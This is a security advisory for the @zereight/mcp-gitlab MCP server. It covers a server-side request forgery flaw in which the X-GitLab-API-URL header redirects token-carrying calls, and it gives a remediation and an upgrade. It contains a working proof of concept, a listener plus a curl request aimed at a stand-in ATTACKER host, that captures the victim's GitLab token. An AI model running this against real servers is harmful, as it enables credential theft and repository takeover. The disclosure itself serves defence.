GHSA-2h44-8472-frjj
@zereight/mcp-gitlab Vulnerable to Server-Side Request Forgery
Quick fix
GHSA-2h44-8472-frjj — @zereight/mcp-gitlab: upgrade to the fixed version with the command below.
npm install @zereight/mcp-gitlab@2.1.27Details
# Server-Side Request Forgery via X-GitLab-API-URL Header Allows Credential Theft
## Affected
- **Repository:** `zereight/gitlab-mcp` - **Affected versions:** All versions through commit `74a8c83` - **Patched versions:** None at time of report
## Severity
High. CVSS v3.1 8.5 (`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N`)
## Description
When the environment variable `ENABLE_DYNAMIC_API_URL=true` is set, the server reads the `X-GitLab-API-URL` HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (`new URL(dynamicApiUrl)`) but applies no allowlist or hostname restriction. The server then attaches the victim's `Private-Token` to every outbound fetch that uses the redirected URL.
Any caller who can reach the HTTP transport can set `X-GitLab-API-URL` to an attacker-controlled host. The next GitLab API call the server makes delivers the victim's token to that host.
The vulnerable code appears at two locations.
**SSE handler (`index.ts:11541`):**
```typescript const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim(); if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) { apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); // no allowlist check } ```
**Streamable HTTP handler (`index.ts:11787`), inside `parseAuthHeaders`:**
```typescript const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim(); if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) { new URL(dynamicApiUrl); // syntax-only check apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); // any reachable host accepted } ```
In both cases, `apiUrl` propagates through `getEffectiveApiUrl()` and into `getFetchConfig()`, which attaches `Private-Token: <victim_token>` to every outbound fetch. The token reaches the attacker's host, not GitLab.
## Proof of Concept
Run upstream `zereight/gitlab-mcp` at commit `74a8c83` with `ENABLE_DYNAMIC_API_URL=true` and `REMOTE_AUTHORIZATION=true`.
```bash # 1. Start a listener on the attacker host (port 9099) # Any HTTP server that logs incoming headers will work. python3 -c " import http.server, sys class H(http.server.BaseHTTPRequestHandler): def do_GET(self): print('HEADERS:', dict(self.headers)) self.send_response(200); self.end_headers() http.server.HTTPServer(('0.0.0.0', 9099), H).serve_forever() "
# 2. Send any MCP tool call with the malicious header curl -X POST http://TARGET:3002/mcp \ -H "X-GitLab-API-URL: http://ATTACKER:9099/api/v4" \ -H "Authorization: Bearer ANY_VALID_TOKEN" \ -H "Content-Type: application/json" \ -d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"list_issues","arguments":{"project_id":"1"}},"id":1}' ```
The listener receives:
``` GET /api/v4/projects/1/issues HTTP/1.1 private-token: <VICTIM_GITLAB_TOKEN> Host: ATTACKER:9099 ```
The victim's token arrives at the attacker host. The attacker never needed it in advance. The MCP server delivered it.
## Impact
The attacker obtains the victim's GitLab Personal Access Token or CI/CD job token in a single request. With the stolen token they gain full GitLab API access at the victim's permission level: read of all repositories, issues, merge requests, CI/CD pipeline definitions and variables/secrets; write to push code, modify pipelines, create or delete resources, and rotate CI/CD variables.
CVSS factors: - `PR:L`: reaching the HTTP transport requires presenting some auth token - `S:C`: the attack crosses the boundary into GitLab (a separate security domain) - `C:H`: victim's GitLab token stolen in one request; full read of all scoped data - `I:H`: attacker can push code and modify pipelines with the stolen token - `A:N`: the MCP server continues operating normally
## Why This Is a Vulnerability, Not Intended Behavior
`ENABLE_DYNAMIC_API_URL` is documented for supporting self-hosted GitLab instances at a non-default base URL. The intended caller behavior is to supply the URL of their own GitLab instance. The feature has no mechanism to distinguish a legitimate self-hosted GitLab URL from an attacker-controlled host. Once enabled, every request that includes `X-GitLab-API-URL` can redirect the server's credential-carrying outbound calls to any reachable host with no restriction.
PR #453 (merged) added a startup guard that blocks the Streamable HTTP transport from running with static tokens unless `REMOTE_AUTHORIZATION=true` or OAuth is configured. That guard runs once at server startup and checks transport configuration. It does not modify `parseAuthHeaders`, does not validate `X-GitLab-API-URL`, and does not restrict the token-forwarding path at runtime. The SSRF sink at `index.ts:11787` is unchanged in the current code and fully reachable in the documented multi-user deployment mode (`REMOTE_AUTHORIZATION=true`).
## Remediation
Validate `X-GitLab-API-URL` against a configurable allowlist of trusted GitLab hostnames before assigning the value to `apiUrl`. Reject any request whose `X-GitLab-API-URL` hostname is not in the allowlist. Apply this check at both `index.ts:11541` and `index.ts:11787`.
Example fix for the Streamable HTTP handler:
```typescript const ALLOWED_HOSTS = (process.env.GITLAB_ALLOWED_HOSTS ?? "") .split(",").map(h => h.trim()).filter(Boolean);
const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim(); if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) { const parsed = new URL(dynamicApiUrl); if (!ALLOWED_HOSTS.includes(parsed.hostname)) { throw new Error(`X-GitLab-API-URL hostname not in allowlist: ${parsed.hostname}`); } apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); } ```
Document `GITLAB_ALLOWED_HOSTS` in the README alongside `ENABLE_DYNAMIC_API_URL`. If maintaining an allowlist is not feasible, disable `ENABLE_DYNAMIC_API_URL` by default and document the token-forwarding risk prominently.
## Credit
Reported via GitHub Security Advisory on 2026-06-07.
Are you affected?
Enter the version of the package you're using.
Affected packages
0.0.1Fixed in: 2.1.27npm install @zereight/mcp-gitlab@2.1.27References
- https://github.com/zereight/gitlab-mcp/security/advisories/GHSA-2h44-8472-frjj[WEB]
- https://github.com/zereight/gitlab-mcp/pull/625[WEB]
- https://github.com/zereight/gitlab-mcp/commit/6ffb4cc70706fd05b1ab80901676bc2998b6db6d[WEB]
- https://github.com/zereight/gitlab-mcp[PACKAGE]
- https://github.com/zereight/gitlab-mcp/releases/tag/v2.1.27[WEB]